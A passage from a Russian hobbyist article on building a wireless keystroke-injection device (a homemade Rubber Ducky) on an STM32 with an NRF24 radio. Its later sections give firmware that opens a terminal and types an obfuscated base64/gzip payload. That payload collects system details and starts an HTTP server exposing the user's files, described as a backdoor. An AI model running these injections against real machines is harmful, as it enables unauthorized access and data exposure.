Главное здесь — не забыть, что при пробуждении микроконтроллера блок RCC тактируется от внутреннего генератора 8 МГц напрямую. Это сбивает все тайминги интерфейсов, поэтому нужно предусмотреть функцию перенастройки тактирования.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
void sleep() { NRF_CE_LO(); // Выключаем приемник в NRF24 printf("Going to sleep\n\r"); // Настраиваем режим сна STOP, выход по прерыванию EXTI SCB_SCR |= SCB_SCR_SLEEPDEEP; PWR_CR &= ~PWR_CR_PDDS; PWR_CR |= PWR_CR_LPDS; PWR_CR |= PWR_CR_CWUF; gpio_clear(GPIOB,GPIO12); // Экономим еще 0,3 мА sleep_mode = 1; // Запоминаем, что заснули __asm__("WFI"); } void wake() { // После выхода из сна надо перенастроить тактирование! rcc_clock_setup_in_hsi_out_48mhz(); gpio_set(GPIOB, GPIO12); NRF_CE_HI(); // Включаем приемник sleep_mode = 0; } |
Применение этих нехитрых трюков позволило снизить потребление более чем в 500 раз! Финальное значение удалось измерить на уровне около 0,5 мА, что можно считать очень хорошим результатом.
Сценарии использования
Теперь перейдем к вариантам применения нашего комплекта. Самое первое, но не самое очевидное применение — это пульт управления. Как пользователю Arch Linux, мне очень нравится MPlayer, управление которым полностью осуществляется горячими клавишами.
Подружить его с новым устройством очень просто. Отправка с пульта строки PK2 A B приводит к эмуляции нажатия клавиши с кодом A и модификатором B. Этими двумя значениями можно описать любую клавишу и практически любое сочетание клавиш из числа используемых.
Окей, а как насчет чего-нибудь повеселее?
Все описанное ниже представлено исключительно в ознакомительных целях и не является руководством к действию. Также следует помнить, что совершение неправомерных действий влечет за собой правовые последствия.
На самом деле дальше все зависит от вашего воображения. С таким устройством можно разыграть незадачливого пользователя, прожимая горячие клавиши в самый неподходящий момент (например, комбинация Alt + F4 в Windows раздражает жертву особенно быстро).
«Глючная» мышь
Наверняка вы сталкивалась с неотзывчивыми, плохо работающими мышами. Во время работы или игры за компьютером это очень неприятная штука. Чтобы имитировать такую мышь, мы можем хаотично двигать курсор, написав несложную функцию:
1 2 3 4 5 6 |
void mouse_move_rand(void) { int dx, dy; dx = (rand() % 255) - 127; dy = (rand() % 255) - 127; mouse_move2(dx, dy); } |
Качество генератора псевдослучайных чисел тут несущественно. Однако, чтобы все было совсем красиво, мы можем инициализировать генератор случайным числом из АЦП, об этом целая статья.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
static uint16_t get_random(void) { // Получение случайного числа из АЦП uint16_t temp; uint8_t channel = 16; uint16_t adc = 0; rcc_periph_clock_enable(RCC_GPIOA); rcc_periph_clock_enable(RCC_ADC1); rcc_set_adcpre(RCC_CFGR_ADCPRE_PCLK2_DIV2); adc_power_off(ADC1); /* We configure everything for one single conversion. */ adc_disable_scan_mode(ADC1); adc_set_single_conversion_mode(ADC1); adc_disable_external_trigger_regular(ADC1); adc_set_right_aligned(ADC1); /* We want to read the temperature sensor, so we have to enable it. */ adc_enable_temperature_sensor(); adc_set_sample_time_on_all_channels(ADC1, ADC_SMPR_SMP_28DOT5CYC); adc_power_on(ADC1); /* Wait for ADC starting up. */ for (uint32_t i = 0; i < 800000; i++) __asm__("nop"); //adc_reset_calibration(ADC1); //adc_calibrate(ADC1); adc_set_regular_sequence(ADC1, 1, &channel); for (uint8_t i = 0; i < 16; i++) { temp <<= 1; adc_start_conversion_direct(ADC1); /* Wait for end of conversion. */ while (!(ADC_SR(ADC1) & ADC_SR_EOC)); temp|=ADC_DR(ADC1) & 0b1; // Нас интересуют два младших бита } adc_power_off(ADC1); rcc_periph_clock_disable(RCC_ADC1); return temp; } |
Работает неплохо, для инициализации ГПСЧ как раз хватит. Давим на кнопку, курсор уезжает в произвольном направлении, и, если пользователь в этот момент делает что-то ответственное мышью, он будет несколько удивлен.
Баловство с текстом
Точно так же по нажатию клавиши в текстовом документе можно отрисовать какой-нибудь ASCII-арт. Например, вот такую птичку (я называю ее «трясогузкой», не спрашивайте почему).
1 2 3 4 5 6 |
____________ __ ____________ \_____ / /_ \ \ _____/ \_____ \____/ \____/ _____/ \_____ _____/ \___________ ___________/ /____\ |
Чтобы добавить ее в код, понадобится много кавычек, переносов строк и экранирования символов. Расставлять все это вручную утомительно, поэтому можно воспользоваться скриптом и перекодировать текстовую картинку в массив. Следующий скрипт принимает два аргумента: имя файла с картинкой и имя выходного массива.
1 2 3 4 5 6 7 8 9 10 11 12 |
#!/bin/zsh if [ -z $2 ]; then NAME="ascii"; else NAME=$2; fi; N_LINE=$(wc -l $1|awk '{ print $1 }') echo "static const uint8_t ${NAME}[]=" >out for i in {1..$N_LINE} do #echo $i STR=$(sed -n 's/\\/\\\\/g;s/\"/\\"/g;'"${i}p" $1) echo $STR echo \"$STR'\\n'\" >> out done echo ';' >> out |
Выполнение команды
Теперь давайте сделаем что-нибудь посерьезнее. Чтобы добраться до возможности исполнять команды в Windows, нужно ввести Super + R, затем набрать cmd и Enter. Главное — угадать с задержками, потому что если вводить команду, пока окно консоли не открыто, то она улетит в пустоту. Впрочем, найти подобную информацию для Windows в интернете не составит труда.
Что же касается Linux, то, как вы понимаете, тут уже возможны варианты. Конечно, почти всегда можно рассчитывать на Ctrl + F2, но тогда придется наверняка авторизоваться в системе, а это уже само по себе задача. Поэтому примем для простоты, что мы уже знаем хоткей для вызова эмулятора терминала. Например, Ctrl + Alt + T. Тогда мы можем набрать какую-нибудь однострочную команду или вовсе написать небольшой скрипт.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
void write_script_and_run_it() { send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t — open console for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("echo '#!/bin/zsh' >> payload.sh\n" "echo Candidum is the best!>> payload.sh\n" "echo 'for i in {1..100}'>> payload.sh\n" "echo 'do echo TEST payload script $i'>> payload.sh\n" "echo 'done'>> payload.sh\n" "echo 'rm payload.sh'\n" "clear\n" "chmod +x payload.sh\n" "./payload.sh\n"); } |
Однако и такой подход неудобен и нерационален, поскольку требует много лишних команд.
Бэкдор
Есть вариант гораздо эффективнее и изящнее — связка потокового сжатия и кодирования в Base64. Возьмем небольшой скрипт, который собирает информацию о системе и открывает бэкдор.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
#!/bin/bash echo "*****************SYSTEM INFO*****************" > report.txt echo "*****************RELEASE*****************" >> report.txt cat /etc/*-release* >>report.txt echo "*****************UNAME*****************" >> report.txt uname -a >>report.txt echo "*****************USER*****************" >> report.txt who >>report.txt whoami >>report.txt echo "*****************IP*****************" >> report.txt ip addr show >>report.txt #cat report.txt python -m http.server 8080 & |
Сжимаем его при помощи gzip на лету, перекодируя результат в Base64 с помощью cat script.sh|gzip -9|base64. После небольшой обработки получаем вот такой массив в прошивке микроконтроллера.
1 2 3 4 5 |
static const uint8_t info_payload[] = "H4sIAAAAAAACA42QvQ6CMBCAd57ihMSBBMrIZMJQExJBQ3VwLHBJSYQ2bRV9e3ETf1Juu5/vu8sF" "K1J3A6m5ER42QoIffgY7syMtIC+3+6+eDxvQqKS2sb3bf4aK7mjG6C96hjfcAkHbkDDSeEFuMJwm" "3P5TmRVOO3jXgfcIEV/mZLRyHjxO6Ew2FXjfLVqQH5z6TgFvWw1GyHHuDF6vesvVwwo5QNSDsFbF" "BvUNNaRJmsDaewJip36j5AEAAA=="; |
Осталось только выполнить обратную процедуру, благо Base64 и gzip у нас стандартные утилиты.
Набираем
1 |
echo BASE64 |base64 -d|gzip -d>payload.sh;chmod +x payload.sh;./payload.sh\n |
или, если смотреть со стороны прошивки:
1 2 3 4 5 6 7 8 9 10 11 12 |
void run_script_gzip(uint8_t *src) { send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t — open console for (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("echo "); send_word(src); send_word("|base64 -d|gzip -d>payload.sh;" "chmod +x payload.sh;" "./payload.sh\n"); for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop"); send_word("\n"); cat_ascii_art_gzip(bird_base64); } |
А в конце добавляем нашу птицу, куда же без нее. Таким образом, кстати, очень удобно хранить и выводить в терминале ASCII-графику, тут и экономия места, и ускорение набора налицо. Да и создавать такие массивы тоже проще скриптом.
1 2 3 4 5 |
#!/bin/zsh if [ -z $2 ]; then NAME="ascii"; else NAME=$2; fi; echo "static const uint8_t ${NAME}[]=" |tee "${NAME}.h" cat $1|gzip -9|base64|sed -e 's/^/\"/g;s/$/\"/g'|tee -a "${NAME}.h" echo ';' |tee -a "${NAME}.h" |
Листинг еще короче предыдущего, а экономия места в разы. Как вам уже наверняка понятно, в качестве нагрузки скрипты использовать особенно удобно. Причем это необязательно должен быть shell. Python выглядит даже более привлекательно. Здесь определенно есть где развернуться и над чем поэкспериментировать на досуге. Думаю, теперь мне точно удалось вас заинтересовать достаточно сильно, так что дальше вы и сами разберетесь и сможете создать хакерскую флешку Rubber Ducky своими руками.
Как всегда, исходники проекта доступны на GitHub.